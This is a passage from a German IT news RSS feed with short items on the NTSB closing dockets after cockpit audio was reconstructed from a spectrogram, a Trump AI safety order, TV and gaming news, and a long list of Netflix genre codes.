<pubDate>Fri, 22 May 2026 23:22:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The NTSB temporarily closed public access to nearly all investigation dockets after people used a spectrogram image from a PDF in the UPS flight 2976 crash file to reconstruct approximate cockpit voice recorder audio and post it online. "We show our work and we've been doing this type of thing for years. Nobody was aware that you can recreate audio from a picture," a spokesperson for the board said. "NTSB is looking to make sure there's nothing else in the docket that could compromise anybody's privacy... now that we understand the possibility of a digital recreation." CNN reports: Cockpit voice recordings, often referred to as the CVR, capture everything commercial pilots say and are valuable during NTSB investigations, but are almost never released out of respect for the victims and their families. UPS flight 2976 crashed on November 4, when an engine separated from the wing while it was taking off from Louisville, Kentucky. The three crew members onboard were killed along with 12 people on the ground. During a two-day investigative hearing this week, the board released a docket full of details about the crash. Besides thousands of pages of reports and video showing the engine separating, it included a transcript of the CVR and a PDF file showing an analysis of the spectrogram of the audio it recorded.
 
A spectrogram is a still image that is a visual representation of the audio, showing the ups and downs of the frequencies. Using that still image, members of the public were able to recreate the voices of the pilots in the moments before the plane crashed and post the results online. The clip, which included background noise and echoes, covered the last 30 seconds of the flight as the pilots struggled with the disabled aircraft as well as recordings of testing the NTSB did on another aircraft.
 
In a statement on Thursday, the board made clear it "does not release cockpit voice recordings" due to federal law and because of the highly sensitive nature of what they include, but it was "aware that advances in image recognition and computational methods have enabled individuals to reconstruct approximations of cockpit voice recorder audio from sound spectrum imagery." Investigation dockets are made public for transparency, but this week, the board took the rare step of closing public access to all dockets, including the one for the UPS crash. [...] The NTSB is urging platforms like X and Reddit to remove posts with the audio.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=NTSB+Wants+PDF+Removed+After+It+Exposed+Final+Cockpit+Audio+From+UPS+Crash%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F05%2F22%2F1758232%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F05%2F22%2F1758232%2Fntsb-wants-pdf-removed-after-it-exposed-final-cockpit-audio-from-ups-crash%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/05/22/1758232/ntsb-wants-pdf-removed-after-it-exposed-final-cockpit-audio-from-ups-crash?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot; 2026 das Halbfinale heute im Live-Ticker: Tänze, Punkte und die Entscheidungen am 22.Mai]]></title>
<description><![CDATA["Let’s Dance 2026" heute bei RTL. Wir tickern für euch LIVE ab 20:15 Uhr! Wer schnappt sich die Final-Tickets und für wen endet der Traum so kurz vor dem Ziel in Tränen?
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,								...]]></description>
<link>https://tsecurity.de/de/3540535/it-nachrichten/quotlets-dancequot-2026-das-halbfinale-heute-im-live-ticker-taenze-punkte-und-die-entscheidungen-am-22mai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3540535/it-nachrichten/quotlets-dancequot-2026-das-halbfinale-heute-im-live-ticker-taenze-punkte-und-die-entscheidungen-am-22mai/</guid>
<pubDate>Fri, 22 May 2026 20:47:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Let’s Dance 2026" heute bei RTL. Wir tickern für euch LIVE ab 20:15 Uhr! Wer schnappt sich die Final-Tickets und für wen endet der Traum so kurz vor dem Ziel in Tränen?
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump pulls AI safety order after last-minute calls from Musk, Zuckerberg, and Sacks]]></title>
<description><![CDATA[Trump killed an executive order on AI safety at the last minute after calls from Elon Musk, Mark Zuckerberg, and former advisor David Sacks. The order would have created a voluntary review system for frontier models with a 90-day window before release.
The article Trump pulls AI safety order afte...]]></description>
<link>https://tsecurity.de/de/3539339/ai-nachrichten/trump-pulls-ai-safety-order-after-last-minute-calls-from-musk-zuckerberg-and-sacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3539339/ai-nachrichten/trump-pulls-ai-safety-order-after-last-minute-calls-from-musk-zuckerberg-and-sacks/</guid>
<pubDate>Fri, 22 May 2026 13:34:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2309" height="1242" src="https://the-decoder.com/wp-content/uploads/2025/01/gov_404_ai_rules_us_trump.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Trump killed an executive order on AI safety at the last minute after calls from Elon Musk, Mark Zuckerberg, and former advisor David Sacks. The order would have created a voluntary review system for frontier models with a 90-day window before release.</p>
<p>The article <a href="https://the-decoder.com/trump-pulls-ai-safety-order-after-last-minute-calls-from-musk-zuckerberg-and-sacks/">Trump pulls AI safety order after last-minute calls from Musk, Zuckerberg, and Sacks</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Let&#039;s Dance 2026 - Halbfinale: Wann solltet ihr zur Ergebnisverkündung einschalten?]]></title>
<description><![CDATA[Am Freitag, dem 22. Mai, geht Let's Dance 2026 in das Halbfinale. Wir skizzieren für euch den Zeitplan des Abends und zeigen euch, wann ihr spätestens zur Ergebnisverkündung einschalten solltet.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-...]]></description>
<link>https://tsecurity.de/de/3538641/it-nachrichten/let039s-dance-2026-halbfinale-wann-solltet-ihr-zur-ergebnisverkuendung-einschalten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3538641/it-nachrichten/let039s-dance-2026-halbfinale-wann-solltet-ihr-zur-ergebnisverkuendung-einschalten/</guid>
<pubDate>Fri, 22 May 2026 09:02:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Am Freitag, dem 22. Mai, geht Let's Dance 2026 in das Halbfinale. Wir skizzieren für euch den Zeitplan des Abends und zeigen euch, wann ihr spätestens zur Ergebnisverkündung einschalten solltet.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>,																	<a href="https://www.netzwelt.de/rtl-plus/index.html">RTL+</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Witcher 3: Wild Hunt lead quest designer recalls the moment he suggested that one character be killed off, says the team's reaction was 'wide eyes and silence' — 'The weight of it is exactly what the act needs']]></title>
<description><![CDATA[The Witcher 3: Wild Hunt lead quest designer Paweł Sasko has revealed that he shocked the development team into silence when he suggested killing off a certain character.]]></description>
<link>https://tsecurity.de/de/3537149/it-nachrichten/the-witcher-3-wild-hunt-lead-quest-designer-recalls-the-moment-he-suggested-that-one-character-be-killed-off-says-the-teams-reaction-was-wide-eyes-and-silence-the-weight-of-it-is-exactly-what-the-act-needs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3537149/it-nachrichten/the-witcher-3-wild-hunt-lead-quest-designer-recalls-the-moment-he-suggested-that-one-character-be-killed-off-says-the-teams-reaction-was-wide-eyes-and-silence-the-weight-of-it-is-exactly-what-the-act-needs/</guid>
<pubDate>Thu, 21 May 2026 18:32:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Witcher 3: Wild Hunt lead quest designer Paweł Sasko has revealed that he shocked the development team into silence when he suggested killing off a certain character.]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot; vor dem Halbfinale: Was jetzt passiert und wie es bis zum Finale weitergeht]]></title>
<description><![CDATA[Das Finale ist zum Greifen nah, doch vor den Promis wartet die härteste Show der Staffel.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,																	RTL+,																	Entertainment,																	Serien.]]></description>
<link>https://tsecurity.de/de/3535521/it-nachrichten/quotlets-dancequot-vor-dem-halbfinale-was-jetzt-passiert-und-wie-es-bis-zum-finale-weitergeht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3535521/it-nachrichten/quotlets-dancequot-vor-dem-halbfinale-was-jetzt-passiert-und-wie-es-bis-zum-finale-weitergeht/</guid>
<pubDate>Thu, 21 May 2026 10:01:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Finale ist zum Greifen nah, doch vor den Promis wartet die härteste Show der Staffel.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Kickstarter just killed its new mature content rules]]></title>
<description><![CDATA[Last week, we noted Kickstarter's new content guidelines which had some pretty weird new additions, including a prohibition on "sexual wellness products that are not designed for insertion or penetration and are not marketed primarily for sexual gratification." Those rules have now been eliminate...]]></description>
<link>https://tsecurity.de/de/3530484/it-nachrichten/kickstarter-just-killed-its-new-mature-content-rules/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530484/it-nachrichten/kickstarter-just-killed-its-new-mature-content-rules/</guid>
<pubDate>Tue, 19 May 2026 20:47:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last week, we noted Kickstarter's new content guidelines which had some pretty weird new additions, including a prohibition on "sexual wellness products that are not designed for insertion or penetration and are not marketed primarily for sexual gratification." Those rules have now been eliminated and the company has restored an earlier version of its guidelines. […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Geheime Netflix-Codes: Versteckte Filme & Serien finden]]></title>
<description><![CDATA[Wenn Sie das Gefühl haben, auf Netflix keine neuen Inhalte mehr zu finden, dann liegt das ganz einfach am Netflix-Algorithmus. Der schlägt Ihnen überwiegend die Film- und Serientitel vor, die zu Ihrem bisherigen Streaming-Verhalten passen. Auf der Startseite wiederum finden Sie oft primär Netflix...]]></description>
<link>https://tsecurity.de/de/3527636/windows-tipps/geheime-netflix-codes-versteckte-filme-serien-finden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527636/windows-tipps/geheime-netflix-codes-versteckte-filme-serien-finden/</guid>
<pubDate>Tue, 19 May 2026 03:45:44 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Wenn Sie das Gefühl haben, auf <a href="https://www.netflix.com/" target="_blank" rel="noopener">Netflix</a> keine neuen Inhalte mehr zu finden, dann liegt das ganz einfach am Netflix-Algorithmus. Der schlägt Ihnen überwiegend die Film- und Serientitel vor, die zu Ihrem bisherigen Streaming-Verhalten passen. Auf der Startseite wiederum finden Sie oft primär Netflix-Produktionen und Serien und Filme, die gerade im Trend sind, weil sie jeder schaut.</p>



<p>Um aber aus dieser Bubble auszubrechen und auch mal gänzlich neue, noch unentdeckte Kategorien zu finden, helfen die nachfolgenden geheimen Netflix-Codes. Über diese Codes finden Sie tausende Streaming-Inhalte, die Ihnen der Algorithmus sonst nie anzeigen würde.</p>



<h2 class="wp-block-heading">So geben Sie die geheimen Netflix-Codes ein</h2>



<p>Die Netflix-Codes lassen sich auf drei Wegen nutzen: im Browser, in der App auf dem Smartphone oder Tablet sowie direkt auf dem Smart-TV.</p>



<p><b>Im Browser:</b> Das ist die komfortabelste Methode. Rufen Sie die Adresse <a href="https://www.netflix.com/browse/genre/XXX" target="_blank" rel="noreferrer noopener">https://www.netflix.com/browse/genre/XXX</a> auf und ersetzen Sie “XXX” durch den gewünschten Zahlen-Code. </p>



<p>Der Vorteil: Netflix zeigt Ihnen dabei direkt den Namen der Kategorie an und listet alle zugehörigen Inhalte übersichtlich auf. Sie müssen dafür in Ihrem Netflix-Konto eingeloggt sein. Alternativ können Sie den Code auch einfach in das Suchfeld auf der Netflix-Website eingeben.</p>



<p><b>In der App:</b> Öffnen Sie Netflix auf Ihrem Smartphone oder Tablet und tippen Sie den Zahlen-Code direkt in das Suchfeld ein. Die passenden Titel erscheinen anschließend in den Suchergebnissen. Die ersten Treffer passen dabei stets am besten zum gewählten Genre. Je weiter Sie nach unten scrollen, desto ungenauer werden die Ergebnisse.</p>



<p><b>Auf dem Smart-TV:</b> Genauso einfach wie in der App. Öffnen Sie die Suchfunktion und geben Sie den Zahlen-Code ein. Tipp: Möchten Sie die Codes bequemer eingeben, können Sie auch den <a href="https://www.pcwelt.de/article/2406251/geniale-neue-netflix-funktion-smartphone-begleitmodus.html" target="_blank" rel="noreferrer noopener">Smartphone-Begleitmodus von Netflix</a> nutzen. Damit steuern Sie Netflix am TV direkt über Ihr Handy und müssen sich nicht mit der Fernbedienung durch die Buchstaben tippen.</p>



<h2 class="wp-block-heading">Die Netflix-Codes im Überblick</h2>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Action- und Abenteuerfilme (1365)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/7442" target="_blank" rel="noopener">Abenteuerfilme (7442)</a></li>



<li><a href="https://www.netflix.com/browse/genre/43040" target="_blank" rel="noopener">Actionkomödien (43040)</a></li>



<li><a href="https://www.netflix.com/browse/genre/43048" target="_blank" rel="noopener">Actionthriller (43048)</a></li>



<li><a href="https://www.netflix.com/browse/genre/77232" target="_blank" rel="noopener">Asiatische Actionfilme (77232)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10118" target="_blank" rel="noopener">Comic- und Superheldenfilme (10118)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9584" target="_blank" rel="noopener">Crime-Action und -Abenteuer (9584)</a></li>



<li><a href="https://www.netflix.com/browse/genre/46576" target="_blank" rel="noopener">Klassische Action- &amp; Abenteuerfilme (46576)</a></li>



<li><a href="https://www.netflix.com/browse/genre/8985" target="_blank" rel="noopener">Martial-Arts-Filme (8985)</a></li>



<li><a href="https://www.netflix.com/browse/genre/2125" target="_blank" rel="noopener">Militär-Action und -Abenteuer (2125)</a></li>



<li><a href="https://www.netflix.com/browse/genre/7700" target="_blank" rel="noopener">Western (7700)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10702" target="_blank" rel="noopener">Spionage-Action und -Abenteuer (10702)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Anime (7424)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/2653" target="_blank" rel="noopener">Action-Anime (2653)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11881" target="_blank" rel="noopener">Animation für Erwachsene (11881)</a></li>



<li><a href="https://www.netflix.com/browse/genre/452" target="_blank" rel="noopener">Anime-Dramen (452)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9302" target="_blank" rel="noopener">Anime-Komödien (9302)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6721" target="_blank" rel="noopener">Anime-Serien (6721)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3063" target="_blank" rel="noopener">Anime-Spielfilme (3063)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11146" target="_blank" rel="noopener">Fantasy-Anime (11146)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10695" target="_blank" rel="noopener">Horror-Anime (10695)</a></li>



<li><a href="https://www.netflix.com/browse/genre/2729" target="_blank" rel="noopener">Sci-Fi-Anime (2729)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Dokumentationen (6839)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/3652" target="_blank" rel="noopener">Biografische Dokumentarfilme (3652)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5349" target="_blank" rel="noopener">Historische Dokumentarfilme (5349)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9875" target="_blank" rel="noopener">Kriminal-Dokumentarfilme (9875)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4006" target="_blank" rel="noopener">Militär-Dokumentarfilme (4006)</a></li>



<li><a href="https://www.netflix.com/browse/genre/90361" target="_blank" rel="noopener">Musik- und Konzertdokumentarfilme (90361)</a></li>



<li><a href="https://www.netflix.com/browse/genre/7018" target="_blank" rel="noopener">Politische Dokumentarfilme (7018)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1159" target="_blank" rel="noopener">Reise- und Abenteuer-Dokumentarfilme (1159)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1005" target="_blank" rel="noopener">Religiöse Dokumentarfilme (1005)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3675" target="_blank" rel="noopener">Sozial- und Kulturdokus (3675)</a></li>



<li><a href="https://www.netflix.com/browse/genre/180" target="_blank" rel="noopener">Sportdokumentationen (180)</a></li>



<li><a href="https://www.netflix.com/browse/genre/2595" target="_blank" rel="noopener">Wissenschafts- und Naturdokus (2595)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Dramen (5763)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/" target="_blank" rel="noopener">Biografische Dramen (3179)</a></li>



<li><a href="https://www.netflix.com/browse/genre/" target="_blank" rel="noopener">Klassische Dramen (29809)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6889" target="_blank" rel="noopener">Krimidramen (6889)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4961" target="_blank" rel="noopener">Dramen nach Buchvorlage (4961)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3653" target="_blank" rel="noopener">Dramen nach wahren Begebenheiten (3653)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6384" target="_blank" rel="noopener">Schnulzen (6384)</a></li>



<li><a href="https://www.netflix.com/browse/genre/384" target="_blank" rel="noopener">Independent-Dramen (384)</a></li>



<li><a href="https://www.netflix.com/browse/genre/500" target="_blank" rel="noopener">LGBTQ+-Dramen (500)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9299" target="_blank" rel="noopener">Teen-Dramen (9299)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11" target="_blank" rel="noopener">Militärdramen (11)</a></li>



<li><a href="https://www.netflix.com/browse/genre/12123" target="_blank" rel="noopener">Historienfilme (12123)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6616" target="_blank" rel="noopener">Politische Dramen (6616)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1255" target="_blank" rel="noopener">Romantische Dramen (1255)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5012" target="_blank" rel="noopener">Showbusiness-Dramen (5012)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3947" target="_blank" rel="noopener">Gesellschaftsdramen (3947)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Filmklassiker (31857)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/52858" target="_blank" rel="noopener">Epen (52858)</a></li>



<li><a href="https://www.netflix.com/browse/genre/7687" target="_blank" rel="noopener">Film-Noir (7687)</a></li>



<li><a href="https://www.netflix.com/browse/genre/29809" target="_blank" rel="noopener">Klassische Dramen (29809)</a></li>



<li><a href="https://www.netflix.com/browse/genre/47465" target="_blank" rel="noopener">Klassische Westernfilme (47465)</a></li>



<li><a href="https://www.netflix.com/browse/genre/31694" target="_blank" rel="noopener">Komödien-Klassiker (31694)</a></li>



<li><a href="https://www.netflix.com/browse/genre/48744" target="_blank" rel="noopener">Kriegsklassiker (48744)</a></li>



<li><a href="https://www.netflix.com/browse/genre/47147" target="_blank" rel="noopener">Sci-Fi- und Fantasy-Klassiker (47147)</a></li>



<li><a href="https://www.netflix.com/browse/genre/53310" target="_blank" rel="noopener">Stummfilme (53310)</a></li>



<li><a href="https://www.netflix.com/browse/genre/46588" target="_blank" rel="noopener">Thriller-Klassiker (46588)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Glauben &amp; Spiritualität (26835)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/751423" target="_blank" rel="noopener">Glauben und Spiritualität für Kinder (751423)</a></li>



<li><a href="https://www.netflix.com/browse/genre/52804" target="_blank" rel="noopener">Spirituelle und Glaubensfilme (52804)</a></li>



<li><a href="https://www.netflix.com/browse/genre/2760" target="_blank" rel="noopener">Spirituelle Dokumentarfilme (2760)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Horrorfilme (8711)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/8195" target="_blank" rel="noopener">B-Horror-Filme (8195)</a></li>



<li><a href="https://www.netflix.com/browse/genre/89585" target="_blank" rel="noopener">Horrorkomödien (89585)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10944" target="_blank" rel="noopener">Horrorkultfilme (10944)</a></li>



<li><a href="https://www.netflix.com/browse/genre/947" target="_blank" rel="noopener">Monsterfilme (947)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6895" target="_blank" rel="noopener">Monster und Kreaturen (6895)</a></li>



<li><a href="https://www.netflix.com/browse/genre/8646" target="_blank" rel="noopener">Schlitzer- und Serienmörderfilme (8646)</a></li>



<li><a href="https://www.netflix.com/browse/genre/52147" target="_blank" rel="noopener">Teen Screams (52147)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6998" target="_blank" rel="noopener">Teuflische Geschichten (6998)</a></li>



<li><a href="https://www.netflix.com/browse/genre/45028" target="_blank" rel="noopener">Tiefsee-Horrorfilme (45028)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10944" target="_blank" rel="noopener">Übernatürliche Horrorfilme (10944)</a></li>



<li><a href="https://www.netflix.com/browse/genre/75804" target="_blank" rel="noopener">Vampirhorrorfilme (75804)</a></li>



<li><a href="https://www.netflix.com/browse/genre/75405" target="_blank" rel="noopener">Zombie-Horrorfilme (75405)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Independent-Filme (7077)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/11079" target="_blank" rel="noopener">Experimentelle Filme (11079)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11804" target="_blank" rel="noopener">Independent-Action und -Abenteuer (11804)</a></li>



<li><a href="https://www.netflix.com/browse/genre/384" target="_blank" rel="noopener">Independent-Dramen (384)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4195" target="_blank" rel="noopener">Independent-Komödien (4195)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3269" target="_blank" rel="noopener">Independent-Thriller (3269)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9916" target="_blank" rel="noopener">Romantische Independent-Filme (9916)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Internationale Filme (7462)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/3761" target="_blank" rel="noopener">Afrikanische Filme (3761)</a></li>



<li><a href="https://www.netflix.com/browse/genre/29764" target="_blank" rel="noopener">Arthouse-Filme (29764)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5230" target="_blank" rel="noopener">Australische Filme (5230)</a></li>



<li><a href="https://www.netflix.com/browse/genre/262" target="_blank" rel="noopener">Belgische Filme (262)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10757" target="_blank" rel="noopener">Britische Filme (10757)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3960" target="_blank" rel="noopener">Chinesische Filme (3960)</a></li>



<li><a href="https://www.netflix.com/browse/genre/" target="_blank" rel="noopener">Deutsche Filme (58886)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5875" target="_blank" rel="noopener">Fernöstliche Filme (5875)</a></li>



<li><a href="https://www.netflix.com/browse/genre/58807" target="_blank" rel="noopener">Französische Filme (58807)</a></li>



<li><a href="https://www.netflix.com/browse/genre/61115" target="_blank" rel="noopener">Griechische Filme (61115)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10463" target="_blank" rel="noopener">Indische Filme (10463)</a></li>



<li><a href="https://www.netflix.com/browse/genre/58750" target="_blank" rel="noopener">Irische Filme (58750)</a></li>



<li><a href="https://www.netflix.com/browse/genre/8221" target="_blank" rel="noopener">Italienische Filme (8221)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10398" target="_blank" rel="noopener">Japanische Filme (10398)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5685" target="_blank" rel="noopener">Koreanische Filme (5685)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1613" target="_blank" rel="noopener">Lateinamerikanische Filme (1613)</a></li>



<li><a href="https://www.netflix.com/browse/genre/63782" target="_blank" rel="noopener">Neuseeländische Filme (63782)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10606" target="_blank" rel="noopener">Niederländische Filme (10606)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5254" target="_blank" rel="noopener">Osteuropäische Filme (5254)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11567" target="_blank" rel="noopener">Russische Filme (11567)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9292" target="_blank" rel="noopener">Skandinavische Filme (9292)</a></li>



<li><a href="https://www.netflix.com/browse/genre/58741" target="_blank" rel="noopener">Spanische Filme (58741)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9196" target="_blank" rel="noopener">Südostasiatische Filme (9196)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Kinder- und Familienfilme (783)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/6796" target="_blank" rel="noopener">Filme (0 bis 2 Jahre) (6796)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6218" target="_blank" rel="noopener">Filme (3 bis 4 Jahre) (6218)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5455" target="_blank" rel="noopener">Filme (5 bis 7 Jahre) (5455)</a></li>



<li><a href="https://www.netflix.com/browse/genre/561" target="_blank" rel="noopener">Filme (8 bis 10 Jahre) (561)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6962" target="_blank" rel="noopener">Filme (11 bis 12 Jahre) (6962)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10056" target="_blank" rel="noopener">Filme nach Kinderbüchern (10056)</a></li>



<li><a href="https://www.netflix.com/browse/genre/27346" target="_blank" rel="noopener">Für Kinder (27346)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10659" target="_blank" rel="noopener">Bildung (10659)</a></li>



<li><a href="https://www.netflix.com/browse/genre/67673" target="_blank" rel="noopener">Disney (67673)</a></li>



<li><a href="https://www.netflix.com/browse/genre/51056" target="_blank" rel="noopener">Familienspielfilme (51056)</a></li>



<li><a href="https://www.netflix.com/browse/genre/52843" target="_blank" rel="noopener">Musik (52843)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5507" target="_blank" rel="noopener">Tiergeschichten (5507)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11177" target="_blank" rel="noopener">Zeichentrickserien (11177)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Komödien (6548)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/869" target="_blank" rel="noopener">Düstere Komödien (869)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1402" target="_blank" rel="noopener">Late Night-Komödien (1402)</a></li>



<li><a href="https://www.netflix.com/browse/genre/26" target="_blank" rel="noopener">Mockumentarys (26)</a></li>



<li><a href="https://www.netflix.com/browse/genre/2700" target="_blank" rel="noopener">Politische Komödien (2700)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5475" target="_blank" rel="noopener">Romantische Komödien (5475)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4922" target="_blank" rel="noopener">Satiren (4922)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9702" target="_blank" rel="noopener">Screwball Comedies (9702)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10256" target="_blank" rel="noopener">Slapstick-Komödien (10256)</a></li>



